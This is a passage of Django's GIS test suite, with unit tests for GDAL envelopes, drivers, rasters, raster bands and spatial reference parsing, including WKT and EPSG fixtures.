                '    <gml:pos srsDimension="2">0 0</gml:pos>'
                '</gml:Point>'
            ),
        )






import unittest
from unittest import skipUnless

from django.contrib.gis.gdal import HAS_GDAL

if HAS_GDAL:
    from django.contrib.gis.gdal import Envelope, GDALException


class TestPoint(object):
    def __init__(self, x, y):
        self.x = x
        self.y = y


@skipUnless(HAS_GDAL, "GDAL is required")
class EnvelopeTest(unittest.TestCase):

    def setUp(self):
        self.e = Envelope(0, 0, 5, 5)

    def test01_init(self):
        "Testing Envelope initialization."
        e1 = Envelope((0, 0, 5, 5))
        Envelope(0, 0, 5, 5)
        Envelope(0, '0', '5', 5)  # Thanks to ww for this
        Envelope(e1._envelope)
        with self.assertRaises(GDALException):
            Envelope((5, 5, 0, 0))
        with self.assertRaises(GDALException):
            Envelope(5, 5, 0, 0)
        with self.assertRaises(GDALException):
            Envelope((0, 0, 5, 5, 3))
        with self.assertRaises(GDALException):
            Envelope(())
        with self.assertRaises(ValueError):
            Envelope(0, 'a', 5, 5)
        with self.assertRaises(TypeError):
            Envelope('foo')
        with self.assertRaises(GDALException):
            Envelope((1, 1, 0, 0))
        # Shouldn't raise an exception for min_x == max_x or min_y == max_y
        Envelope(0, 0, 0, 0)

    def test02_properties(self):
        "Testing Envelope properties."
        e = Envelope(0, 0, 2, 3)
        self.assertEqual(0, e.min_x)
        self.assertEqual(0, e.min_y)
        self.assertEqual(2, e.max_x)
        self.assertEqual(3, e.max_y)
        self.assertEqual((0, 0), e.ll)
        self.assertEqual((2, 3), e.ur)
        self.assertEqual((0, 0, 2, 3), e.tuple)
        self.assertEqual('POLYGON((0.0 0.0,0.0 3.0,2.0 3.0,2.0 0.0,0.0 0.0))', e.wkt)
        self.assertEqual('(0.0, 0.0, 2.0, 3.0)', str(e))

    def test03_equivalence(self):
        "Testing Envelope equivalence."
        e1 = Envelope(0.523, 0.217, 253.23, 523.69)
        e2 = Envelope((0.523, 0.217, 253.23, 523.69))
        self.assertEqual(e1, e2)
        self.assertEqual((0.523, 0.217, 253.23, 523.69), e1)

    def test04_expand_to_include_pt_2_params(self):
        "Testing Envelope expand_to_include -- point as two parameters."
        self.e.expand_to_include(2, 6)
        self.assertEqual((0, 0, 5, 6), self.e)
        self.e.expand_to_include(-1, -1)
        self.assertEqual((-1, -1, 5, 6), self.e)

    def test05_expand_to_include_pt_2_tuple(self):
        "Testing Envelope expand_to_include -- point as a single 2-tuple parameter."
        self.e.expand_to_include((10, 10))
        self.assertEqual((0, 0, 10, 10), self.e)
        self.e.expand_to_include((-10, -10))
        self.assertEqual((-10, -10, 10, 10), self.e)

    def test06_expand_to_include_extent_4_params(self):
        "Testing Envelope expand_to_include -- extent as 4 parameters."
        self.e.expand_to_include(-1, 1, 3, 7)
        self.assertEqual((-1, 0, 5, 7), self.e)

    def test06_expand_to_include_extent_4_tuple(self):
        "Testing Envelope expand_to_include -- extent as a single 4-tuple parameter."
        self.e.expand_to_include((-1, 1, 3, 7))
        self.assertEqual((-1, 0, 5, 7), self.e)

    def test07_expand_to_include_envelope(self):
        "Testing Envelope expand_to_include with Envelope as parameter."
        self.e.expand_to_include(Envelope(-1, 1, 3, 7))
        self.assertEqual((-1, 0, 5, 7), self.e)

    def test08_expand_to_include_point(self):
        "Testing Envelope expand_to_include with Point as parameter."
        self.e.expand_to_include(TestPoint(-1, 1))
        self.assertEqual((-1, 0, 5, 5), self.e)
        self.e.expand_to_include(TestPoint(10, 10))
        self.assertEqual((-1, 0, 10, 10), self.e)






import unittest

from django.contrib.gis.gdal import HAS_GDAL

if HAS_GDAL:
    from django.contrib.gis.gdal import Driver, GDALException


valid_drivers = (
    # vector
    'ESRI Shapefile', 'MapInfo File', 'TIGER', 'S57', 'DGN', 'Memory', 'CSV',
    'GML', 'KML',
    # raster
    'GTiff', 'JPEG', 'MEM', 'PNG',
)

invalid_drivers = ('Foo baz', 'clucka', 'ESRI Shp', 'ESRI rast')

aliases = {
    'eSrI': 'ESRI Shapefile',
    'TigER/linE': 'TIGER',
    'SHAPE': 'ESRI Shapefile',
    'sHp': 'ESRI Shapefile',
    'tiFf': 'GTiff',
    'tIf': 'GTiff',
    'jPEg': 'JPEG',
    'jpG': 'JPEG',
}


@unittest.skipUnless(HAS_GDAL, "GDAL is required")
class DriverTest(unittest.TestCase):

    def test01_valid_driver(self):
        "Testing valid GDAL/OGR Data Source Drivers."
        for d in valid_drivers:
            dr = Driver(d)
            self.assertEqual(d, str(dr))

    def test02_invalid_driver(self):
        "Testing invalid GDAL/OGR Data Source Drivers."
        for i in invalid_drivers:
            with self.assertRaises(GDALException):
                Driver(i)

    def test03_aliases(self):
        "Testing driver aliases."
        for alias, full_name in aliases.items():
            dr = Driver(alias)
            self.assertEqual(full_name, str(dr))






"""
gdalinfo tests/gis_tests/data/rasters/raster.tif:

Driver: GTiff/GeoTIFF
Files: tests/gis_tests/data/rasters/raster.tif
Size is 163, 174
Coordinate System is:
PROJCS["NAD83 / Florida GDL Albers",
    GEOGCS["NAD83",
        DATUM["North_American_Datum_1983",
            SPHEROID["GRS 1980",6378137,298.2572221010002,
                AUTHORITY["EPSG","7019"]],
            TOWGS84[0,0,0,0,0,0,0],
            AUTHORITY["EPSG","6269"]],
        PRIMEM["Greenwich",0],
        UNIT["degree",0.0174532925199433],
        AUTHORITY["EPSG","4269"]],
    PROJECTION["Albers_Conic_Equal_Area"],
    PARAMETER["standard_parallel_1",24],
    PARAMETER["standard_parallel_2",31.5],
    PARAMETER["latitude_of_center",24],
    PARAMETER["longitude_of_center",-84],
    PARAMETER["false_easting",400000],
    PARAMETER["false_northing",0],
    UNIT["metre",1,
        AUTHORITY["EPSG","9001"]],
    AUTHORITY["EPSG","3086"]]
Origin = (511700.468070655711927,435103.377123198588379)
Pixel Size = (100.000000000000000,-100.000000000000000)
Metadata:
  AREA_OR_POINT=Area
Image Structure Metadata:
  INTERLEAVE=BAND
Corner Coordinates:
Upper Left  (  511700.468,  435103.377) ( 82d51'46.16"W, 27d55' 1.53"N)
Lower Left  (  511700.468,  417703.377) ( 82d51'52.04"W, 27d45'37.50"N)
Upper Right (  528000.468,  435103.377) ( 82d41'48.81"W, 27d54'56.30"N)
Lower Right (  528000.468,  417703.377) ( 82d41'55.54"W, 27d45'32.28"N)
Center      (  519850.468,  426403.377) ( 82d46'50.64"W, 27d50'16.99"N)
Band 1 Block=163x50 Type=Byte, ColorInterp=Gray
  NoData Value=15
"""
import os
import struct
import tempfile
import unittest

from django.contrib.gis.gdal import HAS_GDAL
from django.contrib.gis.gdal.error import GDALException
from django.contrib.gis.shortcuts import numpy
from django.test import SimpleTestCase
from django.utils import six
from django.utils._os import upath

from ..data.rasters.textrasters import JSON_RASTER

if HAS_GDAL:
    from django.contrib.gis.gdal import GDALRaster, GDAL_VERSION
    from django.contrib.gis.gdal.raster.band import GDALBand


@unittest.skipUnless(HAS_GDAL, "GDAL is required")
class GDALRasterTests(unittest.TestCase):
    """
    Test a GDALRaster instance created from a file (GeoTiff).
    """
    def setUp(self):
        self.rs_path = os.path.join(os.path.dirname(upath(__file__)),
                                    '../data/rasters/raster.tif')
        self.rs = GDALRaster(self.rs_path)

    def test_rs_name_repr(self):
        self.assertEqual(self.rs_path, self.rs.name)
        six.assertRegex(self, repr(self.rs), "<Raster object at 0x\w+>")

    def test_rs_driver(self):
        self.assertEqual(self.rs.driver.name, 'GTiff')

    def test_rs_size(self):
        self.assertEqual(self.rs.width, 163)
        self.assertEqual(self.rs.height, 174)

    def test_rs_srs(self):
        self.assertEqual(self.rs.srs.srid, 3086)
        self.assertEqual(self.rs.srs.units, (1.0, 'metre'))

    def test_rs_srid(self):
        rast = GDALRaster({
            'width': 16,
            'height': 16,
            'srid': 4326,
        })
        self.assertEqual(rast.srid, 4326)
        rast.srid = 3086
        self.assertEqual(rast.srid, 3086)

    def test_geotransform_and_friends(self):
        # Assert correct values for file based raster
        self.assertEqual(
            self.rs.geotransform,
            [511700.4680706557, 100.0, 0.0, 435103.3771231986, 0.0, -100.0]
        )
        self.assertEqual(self.rs.origin, [511700.4680706557, 435103.3771231986])
        self.assertEqual(self.rs.origin.x, 511700.4680706557)
        self.assertEqual(self.rs.origin.y, 435103.3771231986)
        self.assertEqual(self.rs.scale, [100.0, -100.0])
        self.assertEqual(self.rs.scale.x, 100.0)
        self.assertEqual(self.rs.scale.y, -100.0)
        self.assertEqual(self.rs.skew, [0, 0])
        self.assertEqual(self.rs.skew.x, 0)
        self.assertEqual(self.rs.skew.y, 0)
        # Create in-memory rasters and change gtvalues
        rsmem = GDALRaster(JSON_RASTER)
        rsmem.geotransform = range(6)
        self.assertEqual(rsmem.geotransform, [float(x) for x in range(6)])
        self.assertEqual(rsmem.origin, [0, 3])
        self.assertEqual(rsmem.origin.x, 0)
        self.assertEqual(rsmem.origin.y, 3)
        self.assertEqual(rsmem.scale, [1, 5])
        self.assertEqual(rsmem.scale.x, 1)
        self.assertEqual(rsmem.scale.y, 5)
        self.assertEqual(rsmem.skew, [2, 4])
        self.assertEqual(rsmem.skew.x, 2)
        self.assertEqual(rsmem.skew.y, 4)
        self.assertEqual(rsmem.width, 5)
        self.assertEqual(rsmem.height, 5)

    def test_rs_extent(self):
        self.assertEqual(
            self.rs.extent,
            (511700.4680706557, 417703.3771231986, 528000.4680706557, 435103.3771231986)
        )

    def test_rs_bands(self):
        self.assertEqual(len(self.rs.bands), 1)
        self.assertIsInstance(self.rs.bands[0], GDALBand)

    def test_memory_based_raster_creation(self):
        # Create uint8 raster with full pixel data range (0-255)
        rast = GDALRaster({
            'datatype': 1,
            'width': 16,
            'height': 16,
            'srid': 4326,
            'bands': [{
                'data': range(256),
                'nodata_value': 255,
            }],
        })

        # Get array from raster
        result = rast.bands[0].data()
        if numpy:
            result = result.flatten().tolist()

        # Assert data is same as original input
        self.assertEqual(result, list(range(256)))

    def test_file_based_raster_creation(self):
        # Prepare tempfile
        rstfile = tempfile.NamedTemporaryFile(suffix='.tif')

        # Create file-based raster from scratch
        GDALRaster({
            'datatype': self.rs.bands[0].datatype(),
            'driver': 'tif',
            'name': rstfile.name,
            'width': 163,
            'height': 174,
            'nr_of_bands': 1,
            'srid': self.rs.srs.wkt,
            'origin': (self.rs.origin.x, self.rs.origin.y),
            'scale': (self.rs.scale.x, self.rs.scale.y),
            'skew': (self.rs.skew.x, self.rs.skew.y),
            'bands': [{
                'data': self.rs.bands[0].data(),
                'nodata_value': self.rs.bands[0].nodata_value,
            }],
        })

        # Reload newly created raster from file
        restored_raster = GDALRaster(rstfile.name)
        self.assertEqual(restored_raster.srs.wkt, self.rs.srs.wkt)
        self.assertEqual(restored_raster.geotransform, self.rs.geotransform)
        if numpy:
            numpy.testing.assert_equal(
                restored_raster.bands[0].data(),
                self.rs.bands[0].data()
            )
        else:
            self.assertEqual(restored_raster.bands[0].data(), self.rs.bands[0].data())

    def test_raster_warp(self):
        # Create in memory raster
        source = GDALRaster({
            'datatype': 1,
            'driver': 'MEM',
            'name': 'sourceraster',
            'width': 4,
            'height': 4,
            'nr_of_bands': 1,
            'srid': 3086,
            'origin': (500000, 400000),
            'scale': (100, -100),
            'skew': (0, 0),
            'bands': [{
                'data': range(16),
                'nodata_value': 255,
            }],
        })

        # Test altering the scale, width, and height of a raster
        data = {
            'scale': [200, -200],
            'width': 2,
            'height': 2,
        }
        target = source.warp(data)
        self.assertEqual(target.width, data['width'])
        self.assertEqual(target.height, data['height'])
        self.assertEqual(target.scale, data['scale'])
        self.assertEqual(target.bands[0].datatype(), source.bands[0].datatype())
        self.assertEqual(target.name, 'sourceraster_copy.MEM')
        result = target.bands[0].data()
        if numpy:
            result = result.flatten().tolist()
        self.assertEqual(result, [5, 7, 13, 15])

        # Test altering the name and datatype (to float)
        data = {
            'name': '/path/to/targetraster.tif',
            'datatype': 6,
        }
        target = source.warp(data)
        self.assertEqual(target.bands[0].datatype(), 6)
        self.assertEqual(target.name, '/path/to/targetraster.tif')
        self.assertEqual(target.driver.name, 'MEM')
        result = target.bands[0].data()
        if numpy:
            result = result.flatten().tolist()
        self.assertEqual(
            result,
            [0.0, 1.0, 2.0, 3.0,
             4.0, 5.0, 6.0, 7.0,
             8.0, 9.0, 10.0, 11.0,
             12.0, 13.0, 14.0, 15.0]
        )

    def test_raster_transform(self):
        if GDAL_VERSION < (1, 8, 1):
            self.skipTest("GDAL >= 1.8.1 is required for this test")
        # Prepare tempfile and nodata value
        rstfile = tempfile.NamedTemporaryFile(suffix='.tif')
        ndv = 99

        # Create in file based raster
        source = GDALRaster({
            'datatype': 1,
            'driver': 'tif',
            'name': rstfile.name,
            'width': 5,
            'height': 5,
            'nr_of_bands': 1,
            'srid': 4326,
            'origin': (-5, 5),
            'scale': (2, -2),
            'skew': (0, 0),
            'bands': [{
                'data': range(25),
                'nodata_value': ndv,
            }],
        })

        # Transform raster into srid 4326.
        target = source.transform(3086)

        # Reload data from disk
        target = GDALRaster(target.name)

        self.assertEqual(target.srs.srid, 3086)
        self.assertEqual(target.width, 7)
        self.assertEqual(target.height, 7)
        self.assertEqual(target.bands[0].datatype(), source.bands[0].datatype())
        self.assertEqual(target.origin, [9124842.791079799, 1589911.6476407414])
        self.assertEqual(target.scale, [223824.82664250192, -223824.82664250192])
        self.assertEqual(target.skew, [0, 0])

        result = target.bands[0].data()
        if numpy:
            result = result.flatten().tolist()

        # The reprojection of a raster that spans over a large area
        # skews the data matrix and might introduce nodata values.
        self.assertEqual(
            result,
            [
                ndv, ndv, ndv, ndv, 4, ndv, ndv,
                ndv, ndv, 2, 3, 9, ndv, ndv,
                ndv, 1, 2, 8, 13, 19, ndv,
                0, 6, 6, 12, 18, 18, 24,
                ndv, 10, 11, 16, 22, 23, ndv,
                ndv, ndv, 15, 21, 22, ndv, ndv,
                ndv, ndv, 20, ndv, ndv, ndv, ndv,
            ]
        )


@unittest.skipUnless(HAS_GDAL, "GDAL is required")
class GDALBandTests(SimpleTestCase):
    def setUp(self):
        self.rs_path = os.path.join(os.path.dirname(upath(__file__)), '../data/rasters/raster.tif')
        rs = GDALRaster(self.rs_path)
        self.band = rs.bands[0]

    def test_band_data(self):
        pam_file = self.rs_path + '.aux.xml'
        self.assertEqual(self.band.width, 163)
        self.assertEqual(self.band.height, 174)
        self.assertEqual(self.band.description, '')
        self.assertEqual(self.band.datatype(), 1)
        self.assertEqual(self.band.datatype(as_string=True), 'GDT_Byte')
        self.assertEqual(self.band.nodata_value, 15)
        if numpy:
            data = self.band.data()
            assert_array = numpy.loadtxt(
                os.path.join(os.path.dirname(upath(__file__)), '../data/rasters/raster.numpy.txt')
            )
            numpy.testing.assert_equal(data, assert_array)
            self.assertEqual(data.shape, (self.band.height, self.band.width))
        try:
            smin, smax, smean, sstd = self.band.statistics(approximate=True)
            self.assertEqual(smin, 0)
            self.assertEqual(smax, 9)
            self.assertAlmostEqual(smean, 2.842331288343558)
            self.assertAlmostEqual(sstd, 2.3965567248965356)

            smin, smax, smean, sstd = self.band.statistics(approximate=False, refresh=True)
            self.assertEqual(smin, 0)
            self.assertEqual(smax, 9)
            self.assertAlmostEqual(smean, 2.828326634228898)
            self.assertAlmostEqual(sstd, 2.4260526986669095)

            self.assertEqual(self.band.min, 0)
            self.assertEqual(self.band.max, 9)
            self.assertAlmostEqual(self.band.mean, 2.828326634228898)
            self.assertAlmostEqual(self.band.std, 2.4260526986669095)

            # Check that statistics are persisted into PAM file on band close
            self.band = None
            self.assertTrue(os.path.isfile(pam_file))
        finally:
            # Close band and remove file if created
            self.band = None
            if os.path.isfile(pam_file):
                os.remove(pam_file)

    def test_read_mode_error(self):
        # Open raster in read mode
        rs = GDALRaster(self.rs_path, write=False)
        band = rs.bands[0]

        # Setting attributes in write mode raises exception in the _flush method
        with self.assertRaises(GDALException):
            setattr(band, 'nodata_value', 10)

    def test_band_data_setters(self):
        # Create in-memory raster and get band
        rsmem = GDALRaster({
            'datatype': 1,
            'driver': 'MEM',
            'name': 'mem_rst',
            'width': 10,
            'height': 10,
            'nr_of_bands': 1,
            'srid': 4326,
        })
        bandmem = rsmem.bands[0]

        # Set nodata value
        bandmem.nodata_value = 99
        self.assertEqual(bandmem.nodata_value, 99)

        # Set data for entire dataset
        bandmem.data(range(100))
        if numpy:
            numpy.testing.assert_equal(bandmem.data(), numpy.arange(100).reshape(10, 10))
        else:
            self.assertEqual(bandmem.data(), list(range(100)))

        # Prepare data for setting values in subsequent tests
        block = list(range(100, 104))
        packed_block = struct.pack('<' + 'B B B B', *block)

        # Set data from list
        bandmem.data(block, (1, 1), (2, 2))
        result = bandmem.data(offset=(1, 1), size=(2, 2))
        if numpy:
            numpy.testing.assert_equal(result, numpy.array(block).reshape(2, 2))
        else:
            self.assertEqual(result, block)

        # Set data from packed block
        bandmem.data(packed_block, (1, 1), (2, 2))
        result = bandmem.data(offset=(1, 1), size=(2, 2))
        if numpy:
            numpy.testing.assert_equal(result, numpy.array(block).reshape(2, 2))
        else:
            self.assertEqual(result, block)

        # Set data from bytes
        bandmem.data(bytes(packed_block), (1, 1), (2, 2))
        result = bandmem.data(offset=(1, 1), size=(2, 2))
        if numpy:
            numpy.testing.assert_equal(result, numpy.array(block).reshape(2, 2))
        else:
            self.assertEqual(result, block)

        # Set data from bytearray
        bandmem.data(bytearray(packed_block), (1, 1), (2, 2))
        result = bandmem.data(offset=(1, 1), size=(2, 2))
        if numpy:
            numpy.testing.assert_equal(result, numpy.array(block).reshape(2, 2))
        else:
            self.assertEqual(result, block)

        # Set data from memoryview
        bandmem.data(six.memoryview(packed_block), (1, 1), (2, 2))
        result = bandmem.data(offset=(1, 1), size=(2, 2))
        if numpy:
            numpy.testing.assert_equal(result, numpy.array(block).reshape(2, 2))
        else:
            self.assertEqual(result, block)

        # Set data from numpy array
        if numpy:
            bandmem.data(numpy.array(block, dtype='int8').reshape(2, 2), (1, 1), (2, 2))
            numpy.testing.assert_equal(
                bandmem.data(offset=(1, 1), size=(2, 2)),
                numpy.array(block).reshape(2, 2)
            )

        # Test json input data
        rsmemjson = GDALRaster(JSON_RASTER)
        bandmemjson = rsmemjson.bands[0]
        if numpy:
            numpy.testing.assert_equal(
                bandmemjson.data(),
                numpy.array(range(25)).reshape(5, 5)
            )
        else:
            self.assertEqual(bandmemjson.data(), list(range(25)))

    def test_band_statistics_automatic_refresh(self):
        rsmem = GDALRaster({
            'srid': 4326,
            'width': 2,
            'height': 2,
            'bands': [{'data': [0] * 4, 'nodata_value': 99}],
        })
        band = rsmem.bands[0]
        # Populate statistics cache
        self.assertEqual(band.statistics(), (0, 0, 0, 0))
        # Change data
        band.data([1, 1, 0, 0])
        # Statistics are properly updated
        self.assertEqual(band.statistics(), (0.0, 1.0, 0.5, 0.5))
        # Change nodata_value
        band.nodata_value = 0
        # Statistics are properly updated
        self.assertEqual(band.statistics(), (1.0, 1.0, 1.0, 0.0))

    def test_band_statistics_empty_band(self):
        rsmem = GDALRaster({
            'srid': 4326,
            'width': 1,
            'height': 1,
            'bands': [{'data': [0], 'nodata_value': 0}],
        })
        self.assertEqual(rsmem.bands[0].statistics(), (None, None, None, None))

    def test_band_delete_nodata(self):
        rsmem = GDALRaster({
            'srid': 4326,
            'width': 1,
            'height': 1,
            'bands': [{'data': [0], 'nodata_value': 1}],
        })
        if GDAL_VERSION < (2, 1):
            msg = 'GDAL >= 2.1 required to delete nodata values.'
            with self.assertRaisesMessage(ValueError, msg):
                rsmem.bands[0].nodata_value = None
        else:
            rsmem.bands[0].nodata_value = None
            self.assertIsNone(rsmem.bands[0].nodata_value)

    def test_band_data_replication(self):
        band = GDALRaster({
            'srid': 4326,
            'width': 3,
            'height': 3,
            'bands': [{'data': range(10, 19), 'nodata_value': 0}],
        }).bands[0]

        # Variations for input (data, shape, expected result).
        combos = (
            ([1], (1, 1), [1] * 9),
            (range(3), (1, 3), [0, 0, 0, 1, 1, 1, 2, 2, 2]),
            (range(3), (3, 1), [0, 1, 2, 0, 1, 2, 0, 1, 2]),
        )
        for combo in combos:
            band.data(combo[0], shape=combo[1])
            if numpy:
                numpy.testing.assert_equal(band.data(), numpy.array(combo[2]).reshape(3, 3))
            else:
                self.assertEqual(band.data(), list(combo[2]))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import unittest
from unittest import skipUnless

from django.contrib.gis.gdal import HAS_GDAL

if HAS_GDAL:
    from django.contrib.gis.gdal import SpatialReference, CoordTransform, GDALException, SRSException


class TestSRS:
    def __init__(self, wkt, **kwargs):
        self.wkt = wkt
        for key, value in kwargs.items():
            setattr(self, key, value)

WGS84_proj = '+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs '

# Some Spatial Reference examples
srlist = (
    TestSRS(
        'GEOGCS["WGS 84",DATUM["WGS_1984",SPHEROID["WGS 84",6378137,298.257223563,'
        'AUTHORITY["EPSG","7030"]],TOWGS84[0,0,0,0,0,0,0],AUTHORITY["EPSG","6326"]],'
        'PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],UNIT["degree",'
        '0.01745329251994328,AUTHORITY["EPSG","9122"]],AUTHORITY["EPSG","4326"]]',
        epsg=4326, projected=False, geographic=True, local=False,
        lin_name='unknown', ang_name='degree', lin_units=1.0, ang_units=0.0174532925199,
        auth={'GEOGCS': ('EPSG', '4326'), 'spheroid': ('EPSG', '7030')},
        attr=(('DATUM', 'WGS_1984'), (('SPHEROID', 1), '6378137'), ('primem|authority', 'EPSG'),),
    ),
    TestSRS(
        'PROJCS["NAD83 / Texas South Central",GEOGCS["NAD83",DATUM["North_American_Datum_1983",'
        'SPHEROID["GRS 1980",6378137,298.257222101,AUTHORITY["EPSG","7019"]],'
        'AUTHORITY["EPSG","6269"]],PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],'
        'UNIT["degree",0.01745329251994328,AUTHORITY["EPSG","9122"]],'
        'AUTHORITY["EPSG","4269"]],PROJECTION["Lambert_Conformal_Conic_2SP"],'
        'PARAMETER["standard_parallel_1",30.28333333333333],'
        'PARAMETER["standard_parallel_2",28.38333333333333],'
        'PARAMETER["latitude_of_origin",27.83333333333333],'
        'PARAMETER["central_meridian",-99],PARAMETER["false_easting",600000],'
        'PARAMETER["false_northing",4000000],UNIT["metre",1,AUTHORITY["EPSG","9001"]],'
        'AUTHORITY["EPSG","32140"]]',
        epsg=32140, projected=True, geographic=False, local=False,
        lin_name='metre', ang_name='degree', lin_units=1.0, ang_units=0.0174532925199,
        auth={'PROJCS': ('EPSG', '32140'), 'spheroid': ('EPSG', '7019'), 'unit': ('EPSG', '9001')},
        attr=(
            ('DATUM', 'North_American_Datum_1983'),
            (('SPHEROID', 2), '298.257222101'),
            ('PROJECTION', 'Lambert_Conformal_Conic_2SP'),
        ),
    ),
    TestSRS(
        'PROJCS["NAD_1983_StatePlane_Texas_South_Central_FIPS_4204_Feet",'
        'GEOGCS["GCS_North_American_1983",DATUM["North_American_Datum_1983",'
        'SPHEROID["GRS_1980",6378137.0,298.257222101]],PRIMEM["Greenwich",0.0],'
        'UNIT["Degree",0.0174532925199433]],PROJECTION["Lambert_Conformal_Conic_2SP"],'
        'PARAMETER["False_Easting",1968500.0],PARAMETER["False_Northing",13123333.33333333],'
        'PARAMETER["Central_Meridian",-99.0],PARAMETER["Standard_Parallel_1",28.38333333333333],'
        'PARAMETER["Standard_Parallel_2",30.28333333333334],PARAMETER["Latitude_Of_Origin",27.83333333333333],'
        'UNIT["Foot_US",0.3048006096012192]]',
        epsg=None, projected=True, geographic=False, local=False,
        lin_name='Foot_US', ang_name='Degree', lin_units=0.3048006096012192, ang_units=0.0174532925199,
        auth={'PROJCS': (None, None)},
        attr=(('PROJCS|GeOgCs|spheroid', 'GRS_1980'), (('projcs', 9), 'UNIT'), (('projcs', 11), None),),
    ),
    # This is really ESRI format, not WKT -- but the import should work the same
    TestSRS(
        'LOCAL_CS["Non-Earth (Meter)",LOCAL_DATUM["Local Datum",0],UNIT["Meter",1.0],AXIS["X",EAST],AXIS["Y",NORTH]]',
        esri=True, epsg=None, projected=False, geographic=False, local=True,
        lin_name='Meter', ang_name='degree', lin_units=1.0, ang_units=0.0174532925199,
        attr=(('LOCAL_DATUM', 'Local Datum'), ('unit', 'Meter')),
    ),
)

# Well-Known Names
well_known = (
    TestSRS(
        'GEOGCS["WGS 84",DATUM["WGS_1984",SPHEROID["WGS 84",6378137,298.257223563,'
        'AUTHORITY["EPSG","7030"]],TOWGS84[0,0,0,0,0,0,0],AUTHORITY["EPSG","6326"]],'
        'PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],UNIT["degree",0.01745329251994328,'
        'AUTHORITY["EPSG","9122"]],AUTHORITY["EPSG","4326"]]',
        wk='WGS84', name='WGS 84',
        attrs=(('GEOGCS|AUTHORITY', 1, '4326'), ('SPHEROID', 'WGS 84')),
    ),
    TestSRS(
        'GEOGCS["WGS 72",DATUM["WGS_1972",SPHEROID["WGS 72",6378135,298.26,'
        'AUTHORITY["EPSG","7043"]],AUTHORITY["EPSG","6322"]],'
        'PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],'
        'UNIT["degree",0.01745329251994328,AUTHORITY["EPSG","9122"]],'
        'AUTHORITY["EPSG","4322"]]',
        wk='WGS72', name='WGS 72',
        attrs=(('GEOGCS|AUTHORITY', 1, '4322'), ('SPHEROID', 'WGS 72')),
    ),
    TestSRS(
        'GEOGCS["NAD27",DATUM["North_American_Datum_1927",'
        'SPHEROID["Clarke 1866",6378206.4,294.9786982138982,'
        'AUTHORITY["EPSG","7008"]],AUTHORITY["EPSG","6267"]],'
        'PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],'
        'UNIT["degree",0.01745329251994328,AUTHORITY["EPSG","9122"]],'
        'AUTHORITY["EPSG","4267"]]',
        wk='NAD27', name='NAD27',
        attrs=(('GEOGCS|AUTHORITY', 1, '4267'), ('SPHEROID', 'Clarke 1866'))
    ),
    TestSRS(
        'GEOGCS["NAD83",DATUM["North_American_Datum_1983",'
        'SPHEROID["GRS 1980",6378137,298.257222101,'
        'AUTHORITY["EPSG","7019"]],AUTHORITY["EPSG","6269"]],'
        'PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],'
        'UNIT["degree",0.01745329251994328,AUTHORITY["EPSG","9122"]],'
        'AUTHORITY["EPSG","4269"]]',
        wk='NAD83', name='NAD83',
        attrs=(('GEOGCS|AUTHORITY', 1, '4269'), ('SPHEROID', 'GRS 1980')),
    ),
    TestSRS(
        'PROJCS["NZGD49 / Karamea Circuit",GEOGCS["NZGD49",'
        'DATUM["New_Zealand_Geodetic_Datum_1949",'
        'SPHEROID["International 1924",6378388,297,'
        'AUTHORITY["EPSG","7022"]],'
        'TOWGS84[59.47,-5.04,187.44,0.47,-0.1,1.024,-4.5993],'
        'AUTHORITY["EPSG","6272"]],PRIMEM["Greenwich",0,'
        'AUTHORITY["EPSG","8901"]],UNIT["degree",0.01745329251994328,'
        'AUTHORITY["EPSG","9122"]],AUTHORITY["EPSG","4272"]],'
        'PROJECTION["Transverse_Mercator"],'
        'PARAMETER["latitude_of_origin",-41.28991152777778],'
        'PARAMETER["central_meridian",172.1090281944444],'
        'PARAMETER["scale_factor",1],PARAMETER["false_easting",300000],'
        'PARAMETER["false_northing",700000],'
        'UNIT["metre",1,AUTHORITY["EPSG","9001"]],AUTHORITY["EPSG","27216"]]',
        wk='EPSG:27216', name='NZGD49 / Karamea Circuit',
        attrs=(('PROJECTION', 'Transverse_Mercator'), ('SPHEROID', 'International 1924')),
    ),
)

bad_srlist = (
    'Foobar',
    'OOJCS["NAD83 / Texas South Central",GEOGCS["NAD83",'
    'DATUM["North_American_Datum_1983",'
    'SPHEROID["GRS 1980",6378137,298.257222101,AUTHORITY["EPSG","7019"]],'
    'AUTHORITY["EPSG","6269"]],PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],'
    'UNIT["degree",0.01745329251994328,AUTHORITY["EPSG","9122"]],'
    'AUTHORITY["EPSG","4269"]],PROJECTION["Lambert_Conformal_Conic_2SP"],'
    'PARAMETER["standard_parallel_1",30.28333333333333],'
    'PARAMETER["standard_parallel_2",28.38333333333333],'
    'PARAMETER["latitude_of_origin",27.83333333333333],'
    'PARAMETER["central_meridian",-99],PARAMETER["false_easting",600000],'
    'PARAMETER["false_northing",4000000],UNIT["metre",1,'
    'AUTHORITY["EPSG","9001"]],AUTHORITY["EPSG","32140"]]',
)


@skipUnless(HAS_GDAL, "GDAL is required")
class SpatialRefTest(unittest.TestCase):

    def test01_wkt(self):
        "Testing initialization on valid OGC WKT."
        for s in srlist:
            SpatialReference(s.wkt)

    def test02_bad_wkt(self):
        "Testing initialization on invalid WKT."
        for bad in bad_srlist:
            try:
                srs = SpatialReference(bad)
                srs.validate()
            except (SRSException, GDALException):
                pass
            else:
                self.fail('Should not have initialized on bad WKT "%s"!')

    def test03_get_wkt(self):
        "Testing getting the WKT."
        for s in srlist:
            srs = SpatialReference(s.wkt)
            self.assertEqual(s.wkt, srs.wkt)

    def test04_proj(self):
        "Test PROJ.4 import and export."
        proj_parts = [
            '+proj=longlat', '+ellps=WGS84', '+towgs84=0,0,0,0,0,0,0', '+datum=WGS84', '+no_defs'
        ]
        srs1 = SpatialReference(srlist[0].wkt)
        srs2 = SpatialReference(WGS84_proj)
        self.assertTrue(all([part in proj_parts for part in srs1.proj.split()]))
        self.assertTrue(all([part in proj_parts for part in srs2.proj.split()]))

    def test05_epsg(self):
        "Test EPSG import."
        for s in srlist:
            if s.epsg:
                srs1 = SpatialReference(s.wkt)
                srs2 = SpatialReference(s.epsg)
                srs3 = SpatialReference(str(s.epsg))
                srs4 = SpatialReference('EPSG:%d' % s.epsg)
                for srs in (srs1, srs2, srs3, srs4):
                    for attr, expected in s.attr:
